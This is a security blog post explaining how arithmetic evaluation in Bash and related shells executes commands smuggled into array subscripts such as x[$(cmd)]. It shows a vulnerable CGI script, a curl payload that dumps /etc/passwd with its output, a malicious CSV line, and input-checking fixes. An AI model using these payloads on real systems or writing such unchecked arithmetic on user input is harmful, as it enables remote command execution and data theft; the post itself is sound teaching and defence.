Arithmetic operation in shell script can be exploited
Tags: bash, linux, shellscript, security
Published: 2019-09-03 22:09:45

---
title: Arithmetic operation in shell script can be exploited
published: true
description: 
tags: bash, linux, shell script, security
---

# Is it vulnerable?
Here is the simple Bash script called `index.cgi`.
It is supposed to be used as CGI.
It gets parameter called `num` provided by a client and checks whether the `num` equals to 100 or not.

```bash
#!/bin/bash
printf "Content-type: text\n\n"
read PARAMS
NUM="${PARAMS#num=}"
if [[ "$NUM" -eq 100 ]];then
  echo "OK"
else
  echo "NG"
fi
```

It works fine like this.

```bash
$ curl -d num=100 http://localhost/index.cgi
OK

$ curl -d num=101 http://localhost/index.cgi
NG
```

And also, empty, non-digit, and any other invalid parameters are rejected properly.

```bash
$ curl http://localhost/index.cgi
NG

$ curl -d num='' http://localhost/index.cgi
NG

$ curl -d num=abcdefg http://localhost/index.cgi
NG

$ curl -d num='true ]] && [[ 100' http://localhost/index.cgi
NG

$ curl -d num='\\;"\\"""""";;;~``~\\' http://localhost/index.cgi
NG
```

Perfect.
It is secure enough, isn't it?

However, this script is actually EXPLOITABLE.
It has the arbitrary code execution vulnerability.
Can you guess which line is problem?


```bash
#!/bin/bash
printf "Content-type: text\n\n"
read PARAMS
NUM="${PARAMS#num=}"
if [[ "$NUM" -eq 100 ]];then
  echo "OK"
else
  echo "NG"
fi
```

Think 1 minute...





...






Did you get it?

The problem is this line.

```bash
if [[ "$NUM" -eq 100 ]];then
```

Let's execute this command.


```bash
$ curl -d num='x[$(cat /etc/passwd > /proc/$$/fd/1)]' http://localhost/index.cgi
```

And here is the result.
`/etc/passwd` of the Web server is exposed! Yay!

```bash
$ curl -d num='x[$(cat /etc/passwd > /proc/$$/fd/1)]' http://localhost/index.cgi
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
gnome-initial-setup:x:126:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:127:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
NG
```

This behavior may also cause CSV injection, privilege escalation and etc (see later).

Let me explain the technical reason of this phenomenon.

## Before you read

This article is based on the [report (Japanese)](http://ya.maya.st/d/201909a.html) written by [@yamaya](https://twitter.com/yamaya).
All the samples in this article were checked with following versions.

```
$ bash --version
GNU bash, version 5.0.0(1)-release (x86_64-pc-linux-gnu)

$ ksh --version
  version         sh (AT&T Research) 93u+ 2012-08-01

$ zsh --version
zsh 5.4.2 (x86_64-ubuntu-linux-gnu)

$ mksh -c 'echo $KSH_VERSION'
@(#)MIRBSD KSH R56 2018/01/14
```

Please note that first PoC only works with `bash` and `mksh` as far as I investigated.
But similar behavior is confirmed with `zsh` and ksh-like shells (`ksh`, `pdksh`) as mentioned later.
`ash` and `dash` are not affected as far as I know.

# Arithmetic expression of shell script

Not only `bash` but also `zsh`, `ksh` and etc ... evaluate integer type variable as same as common programming languages.
However, it is not just evaluated as "integer number" but "Arithmetic expression".

"Arithmetic expression" means the variety of expressions for mathematical calculations like various operators, array, assignment and so on.
For bash, see manual [6.5 Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic).

The way of evaluation of Arithmetic expression causes the unintentional behavior.
For example, here is a simple script called `hoge.sh` (this sample is came from the [reported article](http://ya.maya.st/d/201909a.html)).

```bash
#!/bin/bash
typeset -i n # declare "n" as integer type ("typeset" is same as "declare")
a=5
n="$1"
echo "$a"
```

It just prints the value of `a`.
This script is expected to print `5` ANYTIME.
Even if any values provided by user, `n` is only affected and `a` is NOT affected.

Is it OK so far ?

However, unexpected result is shown when the argument is `a=10`.

```bash
$ ./hoge.sh a=10
10
```

Why is this happening ?
Because the argument was evaluated as "Arithmetic expression".
Here is the Bash's manual that explains this behavior.

[4.2 Bash Builtin Commands - Bash Reference Manual](https://www.gnu.org/software/bash/manual/bash.html#Bash-Builtins)
> declare
> ...
> -i
> The variable is to be treated as an integer; arithmetic evaluation (see Shell Arithmetic) is performed when the variable is assigned a value.

As you can see, `n` was declared by `typeset -i`.
Then, `n="$1"` does NOT means **`n` is assigned the value of $1**.
It means **`n` is assigned the result of $1 that evaluated as arithmetic expression**.

Because `n` is declared as integer, therefore evaluation is implemented when this variable is assigned value.

The value of `a` is overwritten because `a=10` is properly evaluated since it has the correct operator (assignment) as the arithmetic expression.

[6.5 Shell Arithmetic - Bash Reference Manual](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic)
> = *= /= %= += -= <<= >>= &= ^= |=

> assignment

It looks like unintuitive but it is clearly documented on the bash's manual.

Please note that, this is same as `zsh`, `ksh` and other shells.

```
$ ./hoge.zsh a=10
10

./hoge.ksh a=10
10
```

In this case, `n` is assigned `$1` by `=` operator.
However, this evaluation is going to be implemented even though the assignment is conducted by `read n` (to use stdin as the value) or `n=$(command)` (to use the result of the `command` as the value).

Let me explain one more advanced example.
It is not commonly known but any external commands can be called as an arithmetic expression.
As you may know, Shell supports Array.


[Arrays - Bash Reference Manual](https://www.gnu.org/software/bash/manual/bash.html#Arrays)
> name[subscript]=value

And it can be interpreted as an arithmetic expression.

```
$ (( x[0]=1, x[1]=2 ))
$ echo "${x[*]}"
1 2
```

In addition, **command substitution `$(command)` can be stated as the subscript of array like this.**

```
$ (( x[$(echo 0)]=100 ))
$ echo "${x[0]}"
100
```

**That means, `x[$(command)]` is GRAMMATICALLY CORRECT AS AN ARITHMETIC EXPRESSION.**

Wow, that's interesting!
Let's modify above example as following.

```
$ ./hoge.sh 'x[$(whoami>&2)]'
myuser
5
```

As you can see, `whoami` command is executed and user name `myuser` is shown.
Please note that `whoami` is NOT evaluated on the current shell.
It's clear if you run this example with `sudo`.

```
$ sudo ./hoge.sh 'x[$(whoami>&2)]'
root
5
```

If `$(whoami>&2)` is evaluated on the current shell, the result must be `myuser` not `root`.
That means `hoge.sh` is executed as the privileged process and `whoami` prints `root` in the same process.

## Other affected expressions

Not only `typeset -i` but also other syntaxes like `$(( ... ))` and `$[ ... ]` for Arbitrary expression perform same procedure.

```bash
#!/bin/bash
a=5
n=$(( $1 ))
echo "$a"
```

```
$ sudo ./script.sh 'x[$(whoami>&2)]'
root
5
```

Surprisingly, arithmetic binary operators (like `-eq`, `-le`) used within the `[[ ... ]]` are also same.
That means an operand of the operator is evaluated as Arithmetic expression.

```bash
#!/bin/bash
if [[ $1 -eq 0 ]]; then
    a=0
else
    a=1
fi
```

```
$ sudo ./script.sh 'x[$(whoami>&2)]'
root
```

In shell script, evaluation of arithmetic expression is performed in various situations.
For example, `offset` and `length` used in the [parameter expansion](https://www.gnu.org/software/bash/manual/bash.html#Shell-Expansions) `${var:offset:length}` is also evaluated as arithmetic expression.

## CSV Injection

The author of the [original report](http://ya.maya.st/d/201909a.html) introduced following script that causes [CSV Injection](http://georgemauer.net/2017/10/07/csv-injection.html). This script just loads the CSV file and run simple calculation for each line.

```
#!/bin/bash
csv="foo.csv"
while IFS=, read item price num; do
    echo "$item,$((price*num))"
done < "$csv"
```

But if the CSV file includes malicious input like this, an arbitrary command is executed.

```
hoge,100,x[$(whoami>&2)]
```

## Workaround

Next, let me discuss how to suppress malicious attacks from shell script.
The point is that to be nervous about external input.

### Check input as string

`=~` operator that compares the string value does not evaluates the value as arithmetic expression.
If the value supposed to be digit numbers, check with regular expression in advance.

```
#!/bin/bash
typeset -i n
a="$1"
[[ $a =~ ^[0-9]*$ ]] && n=$a
```

### Use external command as much as possible

Originally, shell is the "glue" language to combine multiple commands.
Why don't you utilize external commands?

For example, `[ ... ]` expression is not affected from this problem.
Because it does not interpret builtin arithmetic expression of the shell since `[` is individual command.

```
$ which [
/usr/bin/[
```

Therefore, this script is NOT vulnerable.

```bash
#!/bin/bash
if [ "$1" -eq 0 ]; then
    a=0
else
    a=1
fi
```

```
./script.sh 'x[$(whoami>&2)]'
./script.sh: line 2: [: x[$(whoami>&2)]: integer expression expected
```

Let me introduce one more example.
[bashcms](https://github.com/ryuichiueda/bashcms2) is the Content management system (CMS) written in Bash created by [@ryuichiueda](https://twitter.com/uedarobotics).
He has published his own Web site on this CMS for more than 6 years.
However, he has never experienced security issues and performance issues (as he said in his book).
"bashcms" filters all the input with external command since it does not store user input to the shell variables directly.

[bashcms2/blob/master/bin/index.cgi](https://github.com/ryuichiueda/bashcms2/blob/master/bin/index.cgi)
```bash
dir="$(tr -dc 'a-zA-Z0-9_=' <<< ${QUERY_STRING} | sed 's;=;s/;')"
```

# Again: Is it vulnerability ?

This behavior is very unintuitive.
As you can see, this behavior may be used for malicious attacks.
For that reason, the author of original article reports this issue to IPA[^ipa].

[^ipa]: [IPA](https://www.ipa.go.jp/):  Information-technology Promotion Agency. The organization that organizes various ICT activities for Japanese citizens. This is kind of public organization because Japanese government support it financially. Japanese software engineers can report a software vulnerability to this organization so that they can escalate it into other stakeholders if necessary.

However, IPA judges that it is not the problem of interpreter itself.
Therefore, the developer should take care of this issue.
Yeah, that may be technically right.
Actually, as I introduced, this behavior is documented on shell's manual.
Not only `bash`, but also `mksh` has also the small warning message on its manual about it.

[mksh(1)](https://manpages.debian.org/experimental/mksh/mksh.1.en.html)
> Warning: This also affects implicit conversion to integer, for example as done by the let command. Never use unchecked user input, e.g. from the environment, in an arithmetic context!

How do you think about this behavior ?

Do you think this is vulnerability ? or Shell's expected behavior?

Do you have any other ideas how to write secure code ?

Please comment and let us discuss :)